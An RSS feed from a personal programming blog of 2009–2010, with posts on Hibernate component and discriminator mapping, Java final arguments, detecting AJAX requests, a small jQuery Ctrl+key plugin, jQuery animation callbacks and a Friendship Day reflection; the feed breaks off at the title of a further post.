<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ganesh</title>
	<atom:link href="http://www.gmarwaha.com/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.gmarwaha.com/blog</link>
	<description>Ganesh\</description>
	<lastBuildDate>Mon, 01 Mar 2010 13:58:37 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Hibernate never stops surprising me</title>
		<link>http://www.gmarwaha.com/blog/2010/02/28/hibernate-never-stops-surprising-me/</link>
		<comments>http://www.gmarwaha.com/blog/2010/02/28/hibernate-never-stops-surprising-me/#comments</comments>
		<pubDate>Sun, 28 Feb 2010 13:53:31 +0000</pubDate>
		<dc:creator>Ganeshji Marwaha</dc:creator>
				<category><![CDATA[Hibernate]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[Server Side]]></category>

		<guid isPermaLink="false">http://www.gmarwaha.com/blog/?p=141</guid>
		<description><![CDATA[I have a simple form in my web application where a user can fill in his personal details and address details. User specific fields include firstName, middleName and lastName while Address specific fields include street, city and zip. On the server side, I have POJOs for User and Address. Finally I use Hibernate to map [...]]]></description>
			<content:encoded><![CDATA[<p>I have a simple form in my web application where a user can fill in his personal details and address details. <em>User</em> specific fields include firstName, middleName and lastName while <em>Address</em> specific fields include street, city and zip. On the server side, I have POJOs for <em>User</em> and <em>Address</em>. Finally I use <a href="http://www.hibernate.org">Hibernate</a> to map these POJOs to the database.  Since, the <em>Address</em> will not be used outside the context of the <em>User</em>, I decided to map it as a Component of the <em>User</em> class. </p>
<p>The <em>User</em> class and its corresponding mapping is given below:</p>
<pre>
@Entity @Table(name = "user")
public class User {

     @Column(name = "first_name")
     private String firstName;

     @Column(name = "middle_name")
     private String middleName;

     @Column(name = "last_name")
     private String lastName;

     @Embedded
     private Address homeAddress;

     ... Getters and Setters
}
</pre>
<p>The <em>Address</em> class is mapped to <em>User</em> as a component. You can see the specifics of the mapping below.</p>
<pre>
@Embeddable
public class Address {
     @Column(name = "address_street")
     private String street;

     @Column(name = "address_city")
     private String city;

     @Column(name = "address_state")
     private String state;

     ... Getters and Setters
}
</pre>
<p>As you may already know, mapping components using hibernate is a very useful feature. This feature and support for nested components and components referring to other entities are the primary source of support for rich and fine grained domain model in hibernate. But while i was using <em>Component</em> mapping, I recently stepped on an interesting Feature (or it could be an Issue) and I was happily surprised by it.</p>
<p>Want to know the surprise? Keep reading&#8230; </p>
<p>In this case you map an <em>Address</em> as a value type using <em>@Embedded</em> annotation in the &#8220;homeAddress&#8221; field of the <em>User</em> class. The <em>Address</em> class itself is declared to be <em>@Emeddable</em>. This is the standard Hibernate/JPA way to map value types. The Address class has street, city and zip and it gets stored into the same table as the User class&#8217;s table. Now, when you insert an instance of <em>User</em> into the database, while specifying all null values for <em>Address</em>&#8217;s fields maybe because the user didn&#8217;t give his address, then what would you expect in return at some point in time when you retrieve this <em>User</em> back from the database. </p>
<p>I for one expected user.getAddress() will return an Address instance. Then address.getStreet() will return null. But that is not what happened. user.getAddress() returned null by itself. That was interesting and even helped me in my case because, if the user hasn&#8217;t given any details for his home address, then it probably means that his address itself is not there in the system. So, returning null for getAddress() is semantically the right thing to do. I was surprised and when i checked the hibernate documentation it was even mentioned there that if all properties of a component are null, then the component itself is considered null. </p>
<p>In another situation this could have been bad, I don&#8217;t know, but for my purpose I was happily surprised with this nice touch from hibernate. These kind of small things is what differentiates a great product from a good product. Ain&#8217;t it?</p>
<div class="hypeIt"><script type="text/javascript">var dzone_url = 'http://www.gmarwaha.com/blog/2010/02/28/hibernate-never-stops-surprising-me/';</script><script type="text/javascript">var dzone_style = '2';</script><script language="javascript" src="http://widgets.dzone.com/links/widgets/zoneit.js"></script></div>
]]></content:encoded>
			<wfw:commentRss>http://www.gmarwaha.com/blog/2010/02/28/hibernate-never-stops-surprising-me/feed/</wfw:commentRss>
		<slash:comments>34</slash:comments>
		</item>
		<item>
		<title>Final Modifier for method arguments. What do you think?</title>
		<link>http://www.gmarwaha.com/blog/2010/01/02/final-modifier-for-method-arguments-what-do-you-think/</link>
		<comments>http://www.gmarwaha.com/blog/2010/01/02/final-modifier-for-method-arguments-what-do-you-think/#comments</comments>
		<pubDate>Sat, 02 Jan 2010 08:17:17 +0000</pubDate>
		<dc:creator>Ganeshji Marwaha</dc:creator>
				<category><![CDATA[Java]]></category>
		<category><![CDATA[Server Side]]></category>

		<guid isPermaLink="false">http://www.gmarwaha.com/blog/?p=138</guid>
		<description><![CDATA[The IT industry today is sodden with TLAs like SOA, ESB&#8230; and FLAs like AJAX, SOAP and JUNK. i was thinking about refreshing myself with some fundamentals again. Blogging about a basic concept may not be cool, but refreshing &#8211; don&#8217;t you think? I know what you are thinking. You are thinking that i am [...]]]></description>
			<content:encoded><![CDATA[<p>The IT industry today is sodden with TLAs like SOA, ESB&#8230; and FLAs like AJAX, SOAP and JUNK. i was thinking about refreshing myself with some fundamentals again. Blogging about a basic concept may not be cool, but refreshing &#8211; don&#8217;t you think? I know what you are thinking. You are thinking that i am digressing too much. Ok, lets cut to the chase.</p>
<p>One of the best practices i follow religiously is to use final modifiers for method arguments where applicable. This is <em>&#8220;supposedly&#8221;</em> a best-practice written by somebody somewhere. Regardless of whether it is documented as a best-practice or not it is an important concept to understand and use. I have 2 valid reasons to use them for my method arguments. </p>
<p>First, final variables cannot be modified. Come on, everybody knows that. Maybe, but its use is significantly enhanced when it is a method argument and more importantly when you are in a big team environment. </p>
<p>Lets assume that a method takes <em>List</em> as its argument. Typically, the intention of that method is to work with the <em>List</em> &#8211; add to it, remove elements from it, use its elements in some way, sort it and what not. Consequently when the method returns, the <em>caller</em> can investigate the passed List and work with the modifications the <em>callee</em> introduced. But the <em>caller</em> will be on for a big surprise if the <em>callee</em> changes the instance that reference points to itself. </p>
<p>We know that java uses &#8220;Pass by copy of reference&#8221;. If the <em>callee</em> points the received reference to a different <em>List</em> and then modifies this <em>List</em>, the <em>caller</em> will not be able to see any change at all. This is because the copy of the reference held by the <em>caller</em> still points to the same old <em>List</em>. More often than not this is done by mistake and is not intentional. If such a behavior is intentional, final modifier is not required. In all other cases since this leads to bugs in code, it is a good practice to use final modifier for method arguments.</p>
<p>Second, if the method uses the infamous anonymous inner-class syntax to do something, and that inner class wants to use the methods arguments, java requires those arguments to be declared final. This is more of a rule than a valid reason. </p>
<p>Are there more valid reasons? I will be glad to receive information from you guys.</p>
<div class="hypeIt"><script type="text/javascript">var dzone_url = 'http://www.gmarwaha.com/blog/2010/01/02/final-modifier-for-method-arguments-what-do-you-think/';</script><script type="text/javascript">var dzone_style = '2';</script><script language="javascript" src="http://widgets.dzone.com/links/widgets/zoneit.js"></script></div>
]]></content:encoded>
			<wfw:commentRss>http://www.gmarwaha.com/blog/2010/01/02/final-modifier-for-method-arguments-what-do-you-think/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>Hibernate: Why should I Force Discriminator?</title>
		<link>http://www.gmarwaha.com/blog/2009/08/26/hibernate-why-should-i-force-discriminator/</link>
		<comments>http://www.gmarwaha.com/blog/2009/08/26/hibernate-why-should-i-force-discriminator/#comments</comments>
		<pubDate>Wed, 26 Aug 2009 12:40:00 +0000</pubDate>
		<dc:creator>Ganeshji Marwaha</dc:creator>
				<category><![CDATA[Hibernate]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[Server Side]]></category>

		<guid isPermaLink="false">http://www.gmarwaha.com/blog/?p=100</guid>
		<description><![CDATA[Hibernate is an ambitious project that aims to be a complete solution to the problem of managing persistent data in java. Even with such an arduous task before them, the hibernate team tries very hard to expose a simple API for developers like us. Still, the complexity behind the API shows its ugly face time [...]]]></description>
			<content:encoded><![CDATA[<p>Hibernate is an ambitious project that aims to be a complete solution to the problem of managing persistent data in java. Even with such an arduous task before them, the hibernate team tries very hard to expose a simple API for developers like us. Still, the complexity behind the API shows its ugly face time and again and I believe it is unavoidable as long as the mismatch between Object and Relational world exists.</p>
<p>That said, although I have worked with hibernate for many years and have been its advocate in all my organizations, I keep facing newer issues and keep finding newer ways to work with it efficiently and effectively. Recently, when I was working for <a href="http://www.nboomi.com">nboomi.com</a>, I faced an issue when mapping a <em>OneToMany</em> relationship to the sub-classes of <em>&#8220;Single Table Inheritance&#8221;</em> strategy. After a frustrating couple of hours of debugging I finally landed on the correct solution. So, I thought other developers who will travel this path could get benefited and started writing this blog post.</p>
<p>Let me explain the issue I faced with an example. Assume you have a normal <em>User</em> Entity with the typical <em>id</em>, <em>version</em> and <em>loginId</em> properties. Assume this <em>User</em> can have many <em>AboutUs</em> sections and many <em>Service</em> sections. You don&#8217;t need to be an architect to model them as <em>OneToMany</em> relationships from <em>User</em>. So, I modelled <em>UserAboutSection</em> and <em>UserServiceSection</em> entities and created a <em>OneToMany</em> relationship between <em>User</em> and these entities. Looking at the commonality between these two, I decided to factor out the common fields into a superclass called <em>UserSection</em>. Now, both <em>UserAboutSection</em> and <em>UserServiceSection</em> extends <em>UserSection</em>. I chose to map this Inheritance hierarchy using &#8220;Single Table Inheritance&#8221; strategy to keep it simple and since most of the fields were common and only a few were specific. </p>
<p>The <em>User</em> entity is given below. Notice the <em>List&lt;UserAboutSection&gt;</em> and a <em>List&lt;UserServiceSection&gt;</em> mapped using <em>OneToMany</em> relationship.</p>
<p>The getters, setters, adders, imports and static imports are omitted for brevity.</p>
<pre>
@Entity @Table(name = "user")
public class User extends BaseEntity {

    @Column(name = "login_id")
    private String loginId;

    @Column(name = "password")
    private String password;

    ...

    @OneToMany(cascade = {CascadeType.ALL})
    @JoinColumn(name = "user_id", nullable = false)
    @IndexColumn(name = "user_section_position")
    List&lt;UserAboutSection&gt; aboutUs;

    @OneToMany(cascade = {CascadeType.ALL})
    @JoinColumn(name = "user_id", nullable = false)
    @IndexColumn(name = "user_section_position")
    List&lt;UserServiceSection&gt; services;

    ... Getters, Setters and Adders
}
</pre>
<p>Here goes the <em>UserSection</em> entity that acts as the base class in this &#8220;Single Table Inheritance&#8221; strategy. Hibernate uses the @DiscriminatorColumn annotation to distinguish between sub-classes. </p>
<pre>
@Entity @Table(name = "user_section")
@Inheritance(strategy= InheritanceType.SINGLE_TABLE)
@DiscriminatorColumn(name="user_section_type", discriminatorType = STRING)
public class UserSection extends BaseEntity {

    @Column(name = "title")
    protected String title;

    @Column(name = "description")
    protected String description;

    ... Getters and Setters
}
</pre>
<p>Here goes the <em>UserAboutSection</em> entity that derives from the <em>UserSection</em> entity. Hibernate uses the @DiscriminatorValue annotation to decide if a row in the database belongs to an instance of this class.</p>
<pre>
@Entity @DiscriminatorValue("ABOUT")
public class UserAboutSection extends UserSection {
    @ManyToOne
    @JoinColumn(name="user_id",updatable=false,insertable=false,nullable=false)
    protected User user;

    ... Other Properties specific to UserAboutSection
}
</pre>
<p>Here goes the <em>UserServiceSection</em> entity that derives from the <em>UserSection</em> entity. Hibernate uses the @DiscriminatorValue annotation to decide if a row in the database belongs to an instance of this class.</p>
<pre>
@Entity @DiscriminatorValue("SERVICE")
public class UserServiceSection extends UserSection {
    @ManyToOne
    @JoinColumn(name="user_id",updatable=false,insertable=false,nullable=false)
    protected User user;

    ... Other Properties specific to UserServiceSection
}
</pre>
<p>Pretty straightforward&#8230; huh! When you try to retrieve an instance of <em>User</em> along with its <em>aboutUs</em> and <em>services</em> collections eagerly (or lazily &#8211; doesn&#8217;t matter), what do you expect? </p>
<p>I expected an instance of <em>User</em> with the <em>aboutUs</em> collection filled with only <em>UserAboutSection</em> instances and the <em>services</em> collection filled with only <em>UserServiceSection</em> instances corresponding to only the rows they represent in the database. And I believe this expectation is valid, because that is what the mapping looks like and hibernate also has all the information it needs to make this work. </p>
<p>But I got something different. Both the <em>aboutUs</em> and <em>services</em> collections had all the <em>UserSection</em> rows that belong to this <em>User</em>. I mean, <em>aboutUs</em> collection had all the <em>UserSection</em> instances including U<em>serAboutSection</em> and <em>UserServiceSection</em> instances. This was surprising because hibernate has all the information it needs to populate the right instances. </p>
<p>After quite a bit of debugging, googling and RTFM-ing I landed upon <em>@ForceDiscriminator</em> annotation. This annotation has to be applied to the base class in the Inheritance hierarchy for &#8220;Single Table Inheritance&#8221; strategy. In my case, I had to apply it to <em>UserSection</em> entity. The <em>UserSection</em> entity after applying this annotation is given below&#8230; </p>
<pre>
@Entity @Table(name = "user_section")
@Inheritance(strategy= InheritanceType.SINGLE_TABLE)
@DiscriminatorColumn(name="user_section_type", discriminatorType = STRING)
@ForceDiscriminator
public class UserSection extends BaseEntity {

    @Column(name = "title")
    protected String title;

    @Column(name = "description")
    protected String description;

    ... Getters and Setters
}
</pre>
<p>Once I ask hibernate to Force Discriminiator, it is happy and populates the aboutUs and services collections with its respective instances. </p>
<p>Ok, Problem Solved! But why did I have to tell hibernate to Force Discriminator. Shouldn&#8217;t that be the default behaviour. Is it a bug in hibernate or is it a feature? Am I missing something? If any one of you hibernate fans have walked this path and know the answer, please feel free to drop in a comment. I sincerely hope this post will be a valuable time-saver for other hibernate developers who step on this Bug/Feature. </p>
<div class="hypeIt"><script type="text/javascript">var dzone_url = 'http://www.gmarwaha.com/blog/2009/08/26/hibernate-why-should-i-force-discriminator/';</script><script type="text/javascript">var dzone_style = '2';</script><script language="javascript" src="http://widgets.dzone.com/links/widgets/zoneit.js"></script></div>
]]></content:encoded>
			<wfw:commentRss>http://www.gmarwaha.com/blog/2009/08/26/hibernate-why-should-i-force-discriminator/feed/</wfw:commentRss>
		<slash:comments>24</slash:comments>
		</item>
		<item>
		<title>Happy Friendship Day!</title>
		<link>http://www.gmarwaha.com/blog/2009/08/02/happy-friendship-day/</link>
		<comments>http://www.gmarwaha.com/blog/2009/08/02/happy-friendship-day/#comments</comments>
		<pubDate>Sun, 02 Aug 2009 08:39:42 +0000</pubDate>
		<dc:creator>Ganeshji Marwaha</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Mind Power]]></category>
		<category><![CDATA[Personal]]></category>
		<category><![CDATA[ThinkRite]]></category>

		<guid isPermaLink="false">http://www.gmarwaha.com/blog/?p=135</guid>
		<description><![CDATA[Imagine you are attending a party along with your friend! He plays all kind of foolish pranks and cracks stupid jokes. All along you are with him, quite enjoying his playing the fool. You come home with not a thought troubling you. Now imagine the same scenario with your brother! Even as the party progresses, [...]]]></description>
			<content:encoded><![CDATA[<p>Imagine you are attending a party along with your friend! He plays all kind of foolish pranks and cracks stupid jokes. All along you are with him, quite enjoying his playing the fool. You come home with not a thought troubling you. Now imagine the same scenario with your brother! Even as the party progresses, you ask yourself a hundred times, “why is he behaving so silly? Why can’t he behave a bit more mature? What will my friends think of me now?”</p>
<p>Today is a day that celebrates friendship. So it is only proper that we contemplate a little bit on this most special relationship and what makes it so special? Among one thousand reasons the above mentioned scenario explains it the best. </p>
<p><strong>&#8220;In friendship there is no place for judgment and labelling.&#8221;</strong></p>
<p>Most often a problem in relationship comes only when you label somebody as your ‘husband’, ‘mother,’ ‘father’, ‘sister’ etc and once labelled you try to squeeze the individual to live according to the label. And then when they do not fit the label since they have their own characteristics we feel pained and somehow cheated.  In friendship you do not label the person. He is given the freedom to be a fool, a good for nothing fellow, carefree, irresponsible and so on. You enjoy him and give him the space and freedom to be what he is. That is why while all of life is relationships; the best form of relationship is friendship.</p>
<p>The family in which the husband is a friend to the wife, the parent is friend to the child and vice versa, that family is heaven. Where there is no friendship in families, the story of that family will be written in tears.</p>
<p>So to celebrate friendship day in its true spirit would be to resolve to relate like a friend to all the members of your family. To give them freedom!</p>
<p>Happy friendship day!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gmarwaha.com/blog/2009/08/02/happy-friendship-day/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Is it an AJAX Request or a Normal Request?</title>
		<link>http://www.gmarwaha.com/blog/2009/06/27/is-it-an-ajax-request-or-a-normal-request/</link>
		<comments>http://www.gmarwaha.com/blog/2009/06/27/is-it-an-ajax-request-or-a-normal-request/#comments</comments>
		<pubDate>Sat, 27 Jun 2009 10:39:27 +0000</pubDate>
		<dc:creator>Ganeshji Marwaha</dc:creator>
				<category><![CDATA[Client Side]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Server Side]]></category>

		<guid isPermaLink="false">http://www.gmarwaha.com/blog/?p=57</guid>
		<description><![CDATA[In modern web application development, many a times you would want to know if the incoming HTTP Request is an AJAX request or just a Normal request. Have you come across this requirement? I have, and the solution that I found turned out to be pretty straight-forward and I will be sharing it with you [...]]]></description>
			<content:encoded><![CDATA[<p>In modern web application development, many a times you would want to know if the incoming HTTP Request is an AJAX request or just a Normal request. Have you come across this requirement? I have, and the solution that I found turned out to be pretty straight-forward and I will be sharing it with you here. </p>
<p>Whenever an AJAX request is sent to the server, a special header named <em>X-Requested-With</em> with a value of <em>XMLHttpRequest</em> is attached to the request. So, a simple check to see whether the <em>X-Requested-With</em> header has a value of <em>XMLHttpRequest</em> solves the challenge. An example will give you more clarity. Take a look at the examples of <em>isAjax()</em> methods in two famous server-side programming languages &#8211; Java and PHP. </p>
<p><strong>Java:</strong></p>
<pre>
public static boolean isAjax(request) {
   return "XMLHttpRequest"
             .equals(request.getHeader("X-Requested-With"));
}
</pre>
<p><strong>PHP:</strong></p>
<pre>
function isAjax() {
   return (isset($_SERVER['HTTP_X_REQUESTED_WITH'])
              &#038;&#038;
            ($_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest'));
}
</pre>
<p>From the code above, it should be clear that if the method returns <em>true</em>, then you received an AJAX request. If the method returns <em>false</em>, you received a Normal HTTP Request.</p>
<p>Now you know how to find out if it is an AJAX request or not. But how is it useful? What do you do with it?</p>
<p>Have you heard of the term <em>Unobtrusive javascript</em>. Come on, It is a buzzword these days. There is a lot to writing Unobtrusive javascript code, but one of its features &#8211; Progressive Enhancement &#8211; stands out from the rest. Again, let me explain this with an example.</p>
<p>Let us assume that you have designed a beautiful looking web page with tabbed navigation. Being a hard-core AJAX fan and an efficiency aficionado you don&#8217;t like to bring back a full page with the headers and the footers and the sidebars when your user clicks on a <em>Tab</em>. Instead you would love to bring back only the content area for the tab via AJAX and innerHTML it into its respective place. Correct? The good programmer inside you has also told that you should not hard-code the URL for the AJAX call in your javascript. Instead, your tab should be designed as an <em>anchor</em> whose <em>href</em> attribute points to the URL for the content. So far so good? Now, when the user clicks on the <em>Tab</em>, you collect the URL from its <em>href</em> attribute and fire an AJAX call to the server. The server obediently accepts the request and sends back the content just for the active tab.  </p>
<pre>
&lt;ul&gt;
   &lt;li&gt;&lt;a href="/tab1.page" rel="#tab1"&gt;Tab 1&lt;/a&gt;&lt;/li&gt;
   &lt;li&gt;&lt;a href="/tab2.page" rel="#tab2"&gt;Tab 2&lt;/a&gt;&lt;/li&gt;
   &lt;li&gt;&lt;a href="/tab3.page" rel="#tab3"&gt;Tab 3&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;div&gt;
   &lt;div id="tab1"&gt;Content for Tab1&lt;/div&gt;
   &lt;div id="tab2"&gt; Content for Tab2 &lt;/div&gt;
   &lt;div id="tab3"&gt; Content for Tab3 &lt;/div&gt;
&lt;/div&gt;
</pre>
<p>You would like to believe that all is well and good&#8230; Unfortuntately this is where the challenge of <em>Progressive Enhancement</em> begins. How do you plan to support browsers with JavaScript disabled. Yes, there are quite a few people who still do that for the fear of script related worms. How do you plan to support automated bots? Don&#8217;t you want the Google bots and the Yahoo bots to index all your pages with full content? Do you know what these users will see? They will see a half-baked page with just the active tab&#8217;s content and no styles &#8211; not even the header, footer or the sidebar. I am sure you don&#8217;t want this to happen. That is when the <em>isAjax()</em> method comes useful.</p>
<p>Whatever you did on the client side &#8211; HTML, CSS and javascript &#8211; is great and perfect. You separated the behavior from style and markup. So, you don&#8217;t have to touch it. You just need to do a small bit of work on the server-side. </p>
<p>In our case, when JavaScript is disabled, the browser will take over and execute its default behaviour of firing a Normal request to the URL specified in the <em>href</em> attribute. When JavaScript is enabled, JavaScript will take over and will fire an AJAX request to the same URL. In both cases the same server-side resource (like in Java or PHP) will receive the request. Now that you have decided to support <em>Progressive Enhancement</em>, you will have to check if the incoming request is an AJAX request or a Normal request using the <em>isAjax()</em> method shown earlier. In case of an AJAX request, you will send back only the content area of the tab thereby providing an efficient version of your application to JavaScript enabled users. In case of a Normal request, you will send back an entire page including the tab&#8217;s content, thereby providing a less efficient yet fully functional version of your application to JavaScript disabled users. </p>
<pre>
// Pseudo Code
if(isAjax(request) {
   return "Content area for the tab";
} else {
   return "Full page including tab content";
}
</pre>
<p>Now you can feel proud that you are not one of those who just talk about Unobtrusive JavaScript but you are one of those who have implemented it. I sincerely hope this article was useful. Feel free to drop in a comment with suggestions and/or feedback.</p>
<div class="update">
<h2>Update 1:</h2>
<p>
Based on the input provided by a <a href="http://www.dzone.com/links/users/profile/261337.html">buddy called Sabob</a> from <a href="http://www.dzone.com/links/is_it_an_ajax_request_or_a_normal_request.html">dzone</a>, <em>X-Requested-With</em> is set only by AJAX libraries like jQuery, Mootools, Prototype etc. If you are coding AJAX by hand, then you will have to explicitly set this header while sending a request. More importantly you should somehow abstract it using good OO principles so that you don&#8217;t have to explicitly code this line every time you send an AJAX request.
</p>
</div>
<div class="hypeIt"><script type="text/javascript">var dzone_url = 'http://www.gmarwaha.com/blog/2009/06/27/is-it-an-ajax-request-or-a-normal-request/';</script><script type="text/javascript">var dzone_style = '2';</script><script language="javascript" src="http://widgets.dzone.com/links/widgets/zoneit.js"></script></div>
]]></content:encoded>
			<wfw:commentRss>http://www.gmarwaha.com/blog/2009/06/27/is-it-an-ajax-request-or-a-normal-request/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Ctrl + Key Combination &#8211; Simple Jquery Plugin</title>
		<link>http://www.gmarwaha.com/blog/2009/06/16/ctrl-key-combination-simple-jquery-plugin/</link>
		<comments>http://www.gmarwaha.com/blog/2009/06/16/ctrl-key-combination-simple-jquery-plugin/#comments</comments>
		<pubDate>Tue, 16 Jun 2009 20:58:27 +0000</pubDate>
		<dc:creator>Ganeshji Marwaha</dc:creator>
				<category><![CDATA[Client Side]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Jquery]]></category>

		<guid isPermaLink="false">http://www.gmarwaha.com/blog/?p=35</guid>
		<description><![CDATA[In a recent web application I was working on, I had a need for the &#8220;Ctrl + S&#8221; hotkey to save an entry to the database. Being a an avid jquery fan, I immediately searched the plugin repository for any plugin that fits the bill. I was not very surprised to find a very comprehensive [...]]]></description>
			<content:encoded><![CDATA[<p>In a recent web application I was working on, I had a need for the &#8220;Ctrl + S&#8221; hotkey to save an entry to the database. Being a an avid jquery fan, I immediately searched the plugin repository for any plugin that fits the bill. I was not very surprised to find a very comprehensive <a href="http://code.google.com/p/js-hotkeys/">jshotkeys</a> plugin. It was feature rich and addressed all the requirements for hotkeys in a jquery powered application and obviously my requirement was fulfilled as well.</p>
<p>But the basic issue (and advantage too) with any plugin is that it is written for a wide range of audience. So, although my requirement was only for a &#8220;Ctrl + key&#8221; combination, I had to part with my bandwidth for all other features this plugin offered. Like my famous <a href="http://www.gmarwaha.com/blog/2007/08/09/jcarousel-lite-a-jquery-plugin/">jCarouselLite</a> plugin, I like my javascript code kept to the minimum. So, I decided and wrote a short yet sweet plugin that would solve only the problem I have at hand. Unsurprisingly, the plugin code turned out to be only <strong>195 bytes</strong> (minified). Given below is the code for the same&#8230;</p>
<pre>
$.ctrl = function(key, callback, args) {
    var isCtrl = false;
    $(document).keydown(function(e) {
        if(!args) args=[]; // IE barks when args is null

        if(e.ctrlKey) isCtrl = true;
        if(e.keyCode == key.charCodeAt(0) &#038;&#038; isCtrl) {
            callback.apply(this, args);
            return false;
        }
    }).keyup(function(e) {
        if(e.ctrlKey) isCtrl = false;
    });
};
</pre>
<p>This is how it works:</p>
<p><strong>1. </strong>You want to execute a function when the user presses a &#8220;Ctrl + key&#8221; combination.<br />
<strong>2. </strong>You as a developer should call the plugin method and pass in 3 parameters.<br />
<strong>3. </strong><em>1<sup>st</sup> Param:</em> The &#8220;key&#8221; user should press while he is pressing Ctrl.<br />
<strong>4. </strong><em>2<sup>nd</sup> Param:</em> The callback function to be executed when the user presses &#8220;Ctrl + key&#8221;.<br />
<strong>5. </strong><em>3<sup>rd</sup> Param:</em> An optional array of arguments, that will be passed to the callback function.</p>
<p>In the code given below, when the user presses the &#8220;Ctrl + S&#8221; key combination, the anonymous callback function passed in as the second parameter is called. </p>
<pre>
$.ctrl('S', function() {
    alert("Saved");
});
</pre>
<p>Here, when the user presses the &#8220;Ctrl + S&#8221; key combination, the anonymous callback function passed in as the second parameter is called with the arguments passed in as the third parameter.</p>
<pre>
$.ctrl('D', function(s) {
    alert(s);
}, ["Control D pressed"]);
</pre>
<p>Thats it. I feel it is simple yet effective and solves a common requirement in modern web applications. </p>
<p>What do you think?</p>
<div class="update">
<h2>Update</h2>
<p>
A comment provided by &#8220;A Nony Mouse&#8221; in this blog entry clarified that, we don&#8217;t have to store a boolean called &#8220;isCtrl&#8221; to check if the &#8220;Ctrl&#8221; key is down while another key is being pressed. It is enough to check for e.ctrlKey as it will return true if the &#8220;Ctrl&#8221; key is down even if another key is being pressed along with Ctrl. Based on that input the &#8220;Ctrl + Key&#8221; plugin has been updated. Take a look at the updated code below. For archiving purposes, I am leaving the original version of the code above without any changes.
</p>
<pre>
$.ctrl = function(key, callback, args) {
    $(document).keydown(function(e) {
        if(!args) args=[]; // IE barks when args is null
        if(e.keyCode == key.charCodeAt(0) &#038;&#038; e.ctrlKey) {
            callback.apply(this, args);
            return false;
        }
    });
};
</pre>
</div>
<div class="hypeIt"><script type="text/javascript">var dzone_url = 'http://www.gmarwaha.com/blog/2009/06/16/ctrl-key-combination-simple-jquery-plugin/';</script><script type="text/javascript">var dzone_style = '2';</script><script language="javascript" src="http://widgets.dzone.com/links/widgets/zoneit.js"></script></div>
]]></content:encoded>
			<wfw:commentRss>http://www.gmarwaha.com/blog/2009/06/16/ctrl-key-combination-simple-jquery-plugin/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>JQuery: Waiting for Multiple Animations to Complete</title>
		<link>http://www.gmarwaha.com/blog/2009/06/09/jquery-waiting-for-multiple-animations-to-complete/</link>
		<comments>http://www.gmarwaha.com/blog/2009/06/09/jquery-waiting-for-multiple-animations-to-complete/#comments</comments>
		<pubDate>Tue, 09 Jun 2009 03:47:39 +0000</pubDate>
		<dc:creator>Ganeshji Marwaha</dc:creator>
				<category><![CDATA[Client Side]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Jquery]]></category>

		<guid isPermaLink="false">http://www.gmarwaha.com/blog/?p=31</guid>
		<description><![CDATA[Have you ever come across a situation where you wanted to execute a certain piece of code after an animation has completed running? This is a very common use-case in modern web development. jQuery team knows it, and that is why they accept a callback function as argument for every kind of animation call. In [...]]]></description>
			<content:encoded><![CDATA[<p>Have you ever come across a situation where you wanted to execute a certain piece of code after an animation has completed running? This is a very common use-case in modern web development. <a href="http://jquery.com">jQuery</a> team knows it, and that is why they accept a callback function as argument for every kind of animation call. In the example below, we pass in a callback function that will be executed after the <em>&#8220;slideDown&#8221;</em> animation is complete. This is the usual scenario.</p>
<pre>
$("#animateMe").slideDown(function() {
	// This piece of code will be executed
	// after the animation is complete
});
</pre>
<p>But, in many other scenarios you might want to wait for <strong>multiple animations</strong> to complete before executing a certain piece of code.  Lets assume that the two elements &#8211; &#8220;#element1&#8243; and &#8220;#element2&#8243; &#8211; are currently getting animated. Our goal is to execute a piece of code after both elements are finished with their respective animations. This is where it gets tricky. I was facing one such challenge today. The solution I have arrived at is to use the <strong>&#8220;:animated&#8221;</strong> pseudo-selector and &#8220;setInterval&#8221; to repeatedly check and wait until the animations have completed running. An example will clarify what I mean</p>
<pre>
var wait = setInterval(function() {
	if( !$("#element1, #element2").is(":animated") ) {
		clearInterval(wait);
		// This piece of code will be executed
		// after element1 and element2 is complete.
	}
}, 200);
</pre>
<p>In the example above, I use &#8220;setInterval&#8221; to repeatedly check if these two elements are NOT being &#8220;:animated&#8221;. If this condition is not met, then it means that atleast one of them is still getting animated. So, &#8220;setInterval&#8221; will check for the same condition again in 200 ms until the condition is met. If the condition is met, it means that the animations are complete. So, I immediately do a &#8220;clearInterval&#8221; and stop checking for this condition again. Any code written after this statement will get executed after both the animations are complete. </p>
<p>Ofcourse, the same code can be modified for more than two elements as well. Some more work, and we can make it handle any number of elements. But, I was wondering if there was an easier, better and more efficient approach to solve the same challenge. If fellow jquery lovers are aware of such solutions please feel free to leave a comment.</p>
<div class="hypeIt"><script type="text/javascript">var dzone_url = 'http://www.gmarwaha.com/blog/2009/06/09/jquery-waiting-for-multiple-animations-to-complete/';</script><script type="text/javascript">var dzone_style = '2';</script><script language="javascript" src="http://widgets.dzone.com/links/widgets/zoneit.js"></script></div>
]]></content:encoded>
			<wfw:commentRss>http://www.gmarwaha.com/blog/2009/06/09/jquery-waiting-for-multiple-animations-to-complete/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Where did the Brilliant Indian Minds Go?</title>
